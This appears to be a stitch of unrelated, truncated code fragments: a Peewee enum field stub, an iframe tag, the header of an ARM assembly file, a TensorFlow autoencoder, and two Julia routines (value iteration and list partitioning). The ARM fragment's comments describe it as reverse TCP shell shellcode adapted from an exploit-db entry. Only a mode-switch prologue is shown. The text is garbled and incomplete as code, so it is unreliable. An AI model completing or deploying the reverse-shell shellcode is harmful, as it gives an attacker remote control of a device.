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import enum
from abc import ABC
from peewee import IntegerField


class EnumField(IntegerField, ABC):
    """
    This class enable an Enum like field for Peewee
    """

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<iframe src="www.x80security.com" title="X80 security"></iframe>

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// This is a slightly modified version of an ARM shellcode to open a reverse TCP shell.
// The original can be found here: https://www.exploit-db.com/exploits/46258
// and was made by Gokul Babu - https://www.linkedin.com/in/gokul-babu-452b3b112/

.section .text
.global _start
_start:
.ARM
	add r3,pc,#1
	bx r3

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class Autoencoder:
    def __init__(self, D, d):
        # Input placeholder, "None" here means any size e.g. (13,D), (420,D), etc.
        self.X = tf.placeholder(tf.float32, shape=(None, D))
        
        # Input to hidden (D -> d)
        self.W1 = tf.Variable(tf.random_normal(shape=(D,d)))
        self.b1 = tf.Variable(np.zeros(d).astype(np.float32))
        
        # Hidden -> output (d -> D)

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""" Value-iteration algorithm """
function value_iteration(mdp, gamma = 1.0)
    """ Value-iteration algorithm """
    v = zeros(n_states(mdp))  # initialize value-function
    max_iterations = 1000
    eps = 1e-10
    for iter in 1:max_iterations
        prev_v = copy(v)
        for s in states(mdp)
            sᵢ = stateindex(mdp, s)

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# I couldn't find any simpler way of doing this, so I made my own little functions and thought 
# I'd share them since I've used them in many different contexts.
# These should not be used if you're looking for performance, since they're quite hack-y
# I personally use them usually during initialisation for various algorithms

# Parition an array into partitions of a specifie size n (last partition may be shorter) 
# e.g. partition([1,2,3,4,5,6,7],3) -> [ [1,2,3], [4,5,6], [7] ]
function partition(list, n)
  l = size(list,1)
  partitioning = collect(Iterators.partition(list, ceil(Int,l/n)))